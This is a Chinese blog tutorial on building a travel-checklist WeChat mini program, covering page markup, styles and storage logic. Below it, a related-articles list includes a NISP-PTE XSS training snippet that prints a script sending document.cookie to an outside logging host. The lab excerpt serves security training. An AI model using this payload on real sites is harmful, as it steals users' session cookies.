微信小程序入門實例_____從零開始 開發一個“旅行清單 ”微信小程序

? ? ? ? ? 前面的博文中。我們陸續學習與開發了記賬等一些實用實用小程序的開發過程,今天來打造一個適合出行場景的工具 ——“旅行清單小程序”。無論是短途游玩還是長途旅行,它都能幫你梳理需要攜帶的物品,避免遺漏。下面就跟著步驟,一步步實現這個小程序。再次體驗開發者的快樂

一、開發小程序員前的準備工作?🌷🌷

1. 工具檢查?🌷🌷

? ? ? ? ? 確保微信開發者工具已安裝并更新到最新版本。若未安裝,打開微信公眾平臺(微信公眾平臺),在頁面底部找到 “下載” 選項,根據電腦系統選擇對應的安裝包進行安裝。已安裝的用戶,打開工具后留意是否有更新提示,及時更新以保障開發順利。?

2. 賬號準備?

? ? ? ? ? ? ?若僅用于個人學習,無需上線,創建項目時選擇 “體驗模式” 即可。若有上線計劃,需在微信公眾平臺注冊小程序賬號,注冊完成后在 “設置 - 開發設置” 中獲取 AppID,創建項目時填入。?

二、創建旅行清單小程序項目?🌷🌷

? ? ? ? ? ? ? ? ?打開微信開發者工具,點擊 “新建項目”。在彈出的窗口中,填寫項目名稱,比如 “我的旅行清單”,選擇合適的項目存放目錄。有 AppID 則填入,沒有則勾選 “不使用云服務” 并選擇 “體驗模式”,點擊 “新建”,項目框架就搭建好了。?

? ? ? ? ? ? ? 項目創建后,熟悉一下目錄結構。pages文件夾用于存放各頁面代碼;app.js是小程序的邏輯入口;app.json負責配置頁面路徑、窗口樣式等;app.wxss用于設置全局樣式,這些文件在開發中會頻繁用到。?

三、構建旅行清單小程序頁面?🌷🌷

這個旅行清單小程序主要有一個頁面,能實現添加物品、標記物品是否已攜帶、刪除物品以及清空清單等功能。?

1. 創建頁面文件?

? ? ? ?在pages文件夾上右鍵,選擇 “新建 Page”,命名為travelList,系統會自動生成travelList.js、travelList.json、travelList.wxml、travelList.wxss四個文件,分別對應頁面的邏輯、配置、結構和樣式。?

2. 編寫小程序的頁面結構

<view class="container"><view class="add-section"><input placeholder="請輸入要攜帶的物品" bindinput="inputItem"></input><button bindtap="addItem">添加</button></view><view class="list-section" wx:if="{{itemList.length > 0}}"><view class="list-item" wx:for="{{itemList}}" wx:key="index"><checkbox checked="{{item.checked}}" bindchange="toggleCheck" data-index="{{index}}"></checkbox><text class="{{item.checked ? 'checked-text' : ''}}">{{item.name}}</text><button bindtap="deleteItem" data-index="{{index}}" size="mini">刪除</button></view><button bindtap="clearList" class="clear-btn">清空清單</button></view><view class="empty-tip" wx:if="{{itemList.length === 0}}">清單為空,添加你的旅行物品吧~</view>
</view>

? ? ? ? ? ?這段代碼構建了頁面的基本結構。add-section包含輸入框和添加按鈕,用于添加物品;list-section在清單有物品時顯示,里面通過循環展示物品列表,每個物品包含復選框、名稱和刪除按鈕;clear-btn用于清空清單;empty-tip在清單為空時顯示提示文字。?

3. 編寫小程序的頁面樣式

.container {padding: 20px;
}.add-section {display: flex;gap: 10px;margin-bottom: 25px;
}.add-section input {flex: 1;height: 45px;border: 1px solid #ddd;border-radius: 6px;padding-left: 12px;
}.add-section button {width: 100px;height: 45px;background-color: #2196F3;color: white;border: none;border-radius: 6px;
}.list-item {display: flex;align-items: center;gap: 10px;padding: 12px;border: 1px solid #f0f0f0;border-radius: 6px;margin-bottom: 10px;
}.list-item checkbox {transform: scale(1.2);
}.checked-text {text-decoration: line-through;color: #999;flex: 1;
}.list-item text {flex: 1;font-size: 16px;
}.list-item button {background-color: #f44336;color: white;border: none;border-radius: 4px;
}.clear-btn {width: 100%;height: 40px;background-color: #f5f5f5;color: #666;border: none;border-radius: 6px;margin-top: 15px;
}.empty-tip {text-align: center;color: #999;padding: 30px 0;
}

? ? ? ? ? ? ? ?這些樣式讓頁面布局更合理美觀,設置了添加區域、物品列表、按鈕等元素的樣式,勾選后的物品名稱會顯示刪除線并變灰,增強視覺區分。?

4. 編寫小程序頁面邏輯

Page({data: {inputValue: '',itemList: []},onLoad: function () {// 從本地存儲獲取清單數據const list = wx.getStorageSync('travelList');if (list) {this.setData({itemList: list});}},inputItem: function (e) {this.setData({inputValue: e.detail.value});},addItem: function () {if (!this.data.inputValue.trim()) {wx.showToast({title: '請輸入物品名稱',icon: 'none'});return;}const newItem = {name: this.data.inputValue.trim(),checked: false};const newList = [...this.data.itemList, newItem];this.setData({itemList: newList,inputValue: ''});// 保存到本地存儲wx.setStorageSync('travelList', newList);wx.showToast({title: '添加成功',icon: 'success'});},toggleCheck: function (e) {const index = e.currentTarget.dataset.index;const newList = [...this.data.itemList];newList[index].checked =!newList[index].checked;this.setData({itemList: newList});wx.setStorageSync('travelList', newList);},deleteItem: function (e) {const index = e.currentTarget.dataset.index;const newList = [...this.data.itemList];newList.splice(index, 1);this.setData({itemList: newList});wx.setStorageSync('travelList', newList);},clearList: function () {wx.showModal({title: '提示',content: '確定要清空所有物品嗎?',success: (res) => {if (res.confirm) {this.setData({itemList: []});wx.setStorageSync('travelList', []);}}});}
});

? ? ? ? ? ? ?在data中定義了輸入框的值和物品列表。onLoad方法從本地存儲獲取清單數據;inputItem獲取輸入的物品名稱;addItem驗證輸入后添加物品到清單,并更新本地存儲;toggleCheck處理物品的勾選狀態切換;deleteItem刪除指定物品;clearList通過模態框確認后清空清單。?

四、運行與調試小程序?🌷🌷

? ? ? ? ? ? ?完成代碼后,點擊微信開發者工具的 “編譯” 按鈕,模擬器中就會顯示這個旅行清單小程序。在輸入框輸入物品名稱,點擊 “添加” 按鈕,物品會被加入清單;勾選復選框可標記物品已攜帶;點擊 “刪除” 可移除對應物品;點擊 “清空清單” 可刪除所有物品。?

? ? ? ? ? 若運行出現問題,可通過右側調試面板查看報錯信息。比如在addItem方法中添加console.log(this.data.inputValue),查看是否成功獲取輸入的物品名稱,幫助排查問題。?

? ? ? ? ? ? ?這個旅行清單小程序功能實用,涵蓋了數據的增刪改查和本地存儲等常用操作。你還可以進一步優化,比如給物品分類、設置提醒時間等。趕緊動手試試,讓你的旅行準備更有條理吧!每次的教程讓你領略開發的全過程。了解微信小程序的一些基本常識。

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90165.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90165.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90165.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MySQL主從同步集群(Docker搭建)

以下筆記都是基于黑馬程序員的面試題寫的&#xff1a; Mysql定位慢查詢-CSDN博客 Mysql索引-CSDN博客 MySQL事物相關-CSDN博客 MySQL主從同步集群&#xff08;Docker搭建&#xff09;-CSDN博客 MySQL相關面試問題總結-CSDN博客 主從同步&#xff08;Master-Slave Replicat…

NISP-PTE基礎實操——XSS

pteXSS模擬1 <script> var img document.createElement("img");img.src"http://xxxxx.ceye.io/log?"escape(document.coo kie);document.body.appendChild(img); </script> 重放加Cookie頭 pteXSS模擬2 <script type"text/javasc…

基于網絡爬蟲的在線醫療咨詢數據爬取與醫療服務分析系統,技術采用django+樸素貝葉斯算法+boostrap+echart可視化

摘要 為了發揮互聯網醫療問詢服務平臺在客觀衡量醫療服務質量、進一步分析和挖掘網民評論數據方面的作用&#xff0c;本文完成了互聯網醫療問詢數據抓取與醫療服務質量服務分析平臺的主要模塊應用&#xff0c;如用戶登錄注冊、醫療服務質量數據分析與信息可視化以及用戶情緒識別…

【備忘錄】Ubuntu 配置 NFS

安裝 NFSsudo apt-get install nfs-kernel-server rpcbind啟動 NFSsudo systemctl start nfs-server查看 NFSsudo service nfs-server status

【coze扣子】第1篇:coze快速入門

文章目錄coze扣子Coze優點Coze智能體快速入門1、登錄進入到個人主頁2、創建智能體3、智能體組成部分4、智能體的發布人設與回復邏輯LLM模型配置模型設置生成多樣性(抽象程度)Top P&#xff08;話癆程度&#xff09;重復語句懲罰攜帶上下文輪數最大回復長度技能插件觸發器定時觸…

PyCharm 入門指南:起步學習、開發環境一體

PyCharm 入門指南一、前置準備&#xff1a;為什么選擇 PyCharm&#xff1f; 對于 Python 初學者&#xff0c;PyCharm 是最友好的集成開發環境&#xff08;IDE&#xff09;之一。它通過智能代碼提示、自動糾錯、調試工具、版本控制集成等功能&#xff0c;大幅降低開發門檻。本文…

【Java企業級開發】(六)Java框架技術-Maven和MyBatis

一、Maven 1.1 非Maven項目的缺點 問題一&#xff1a; 項目中的jar包資源需要我們自己從網上下載后&#xff0c;手動導入到項目中使用&#xff0c;不好管理 問題二&#xff1a; jar包版本控制麻煩 1.2 Maven介紹 Maven是使用Java語言編寫的基于項目對象模型&#xff08;POM&am…

學習秒殺系統-頁面優化技術

文章目錄前言頁面緩存URL緩存對象緩存頁面緩存取緩存手動渲染URL緩存對象緩存頁面靜態化&#xff0c;前后端分離&#xff08;常用&#xff09;GET POST區別如何解決超賣&#xff1f;重復賣&#xff1f;&#xff08;簡單版&#xff09;靜態資源優化多個JS/CSS組合&#xff0c;減…

QCC系列顯示交互層的自研技術突破與實踐

在音頻設備智能化進程中&#xff0c;顯示交互的流暢度與兼容性已成為用戶體驗的核心指標。傳統方案中&#xff0c;TFT 彩屏與多語言適配常面臨硬件驅動沖突、功耗失控、字符顯示錯亂等問題。作為高通平臺十年級方案商&#xff0c;騰泰技術在 QCC 系列中聚焦顯示交互層的自研技術…

JMeter 實現 Protobuf 加密解密

一、 .proto文件編譯成.jar文件 相關依賴下載詳見&#xff1a;將 message.proto 編譯成 .jar文件 1.依賴于java編譯環境 2.依賴protoc編譯jar包 編譯目錄 1.創建一個根目錄&#xff1a;protobuf 2.在protobuf下創建build、output、lib、src目錄 lib&#xff1a;放 protobu…

發票識別在費控系統應用剖析

一、發票識別與費控系統的融合價值1.1 解決傳統費控痛點效率瓶頸突破&#xff1a;將人工處理每張發票的5-8分鐘縮短至秒級自動識別準確性飛躍&#xff1a;關鍵字段識別準確率從人工的95%提升至99%以上合規性強化&#xff1a;自動對接稅務系統驗真&#xff0c;虛假發票識別率提升…

Rust實戰:決策樹與隨機森林實現

基于 Rust 實現決策樹(Decision Tree)和隨機森林(Random Forest)的實例 Linfa的基本定義 Linfa是意大利語中“淋巴”(lymph)的意思,在醫學領域指淋巴系統相關的結構或功能。淋巴系統由淋巴管、淋巴結、脾臟等組成,負責免疫防御和體液平衡。 Linfa在生物學中的作用 …

9. isaacsim4.2教程-ROS加相機/CLOCK

在本示例中&#xff0c;我們將學習如何&#xff1a; 向場景中添加額外的相機并將其安裝在機器人上 添加相機發布器&#xff08;Camera Publishers&#xff09; 通過 rostopics 發送真實的合成感知數據&#xff08;ground truth synthetic perception data&#xff09; 前提…

微信小程序171~180

1.封裝購物車接口API import http from /utils/httpexport const reqAddCrt ({ goodsId, count, ...data }) > {return http.get(/cart/addToCart/${goodsId}/${count}, data) }export const reqCartList () > {return http.get(/cart/getCartList) }export const reqU…

修改 docker 容器的掛載配置(保持數據不丟的情況)

一、核心原理Docker 容器的運行時配置&#xff08;包括掛載&#xff09;是啟動時確定的&#xff0c;一旦啟動無法直接修改。因此&#xff0c;需通過以下步驟實現&#xff1a;保存原容器中的數據&#xff08;避免丟失&#xff09;&#xff1b;基于原鏡像創建新容器&#xff0c;同…

MVCC(多版本并發控制)介紹及實現原理

一、什么是MVCC&#xff1f; MVCC&#xff08;Multi-Version Concurrency Control&#xff0c;多版本并發控制&#xff09;是數據庫中用于解決并發訪問問題的一種機制。它通過為數據維護多個版本&#xff0c;讓讀寫操作在不同版本上獨立進行&#xff0c;從而避免了傳統鎖機制中…

密碼學基礎概念詳解:從古典加密到現代密碼體系

一、引言&#xff1a;為什么我們需要密碼學&#xff1f; 在數字化時代&#xff0c;信息已成為核心生產要素&#xff0c;而信息安全則是保障社會運轉的基石。當我們在電商平臺輸入銀行卡密碼時&#xff0c;當我們通過即時通訊工具發送私密消息時&#xff0c;當企業在云端存儲核心…

小鵬汽車視覺算法面試30問全景精解

小鵬汽車視覺算法面試30問全景精解 ——智能駕駛 車路協同 視覺創新:小鵬汽車視覺算法面試核心考點全覽 前言 小鵬汽車作為中國智能電動汽車的創新引領者,致力于通過AI與自動駕駛技術推動智能出行的變革。小鵬視覺算法團隊深耕自動駕駛感知、車路協同、智能座艙、3D重建…

程序是如何生成的-以c語言為例

一&#xff0c;序言 從代碼到能跑的程序&#xff0c;整個過程就像 “把外文翻譯成母語&#xff0c;再組裝成能直接用的東西”&#xff0c;一步步來更清楚&#xff1a; 源代碼&#xff08;程序員寫的代碼&#xff0c;如C語言文件&#xff09;↓ 預處理&#xff08;處理#開頭的命…

風險識別清單:構建動態化的風險管理體系

在項目管理實踐中&#xff0c;風險識別是確保項目成功的關鍵環節。PMBOK提出的風險提示清單&#xff08;Prompt List&#xff09;為項目團隊提供了一個系統化的思考框架&#xff0c;幫助突破個人經驗局限&#xff0c;實現更全面的風險覆蓋。這一工具的價值不僅在于其提供的標準…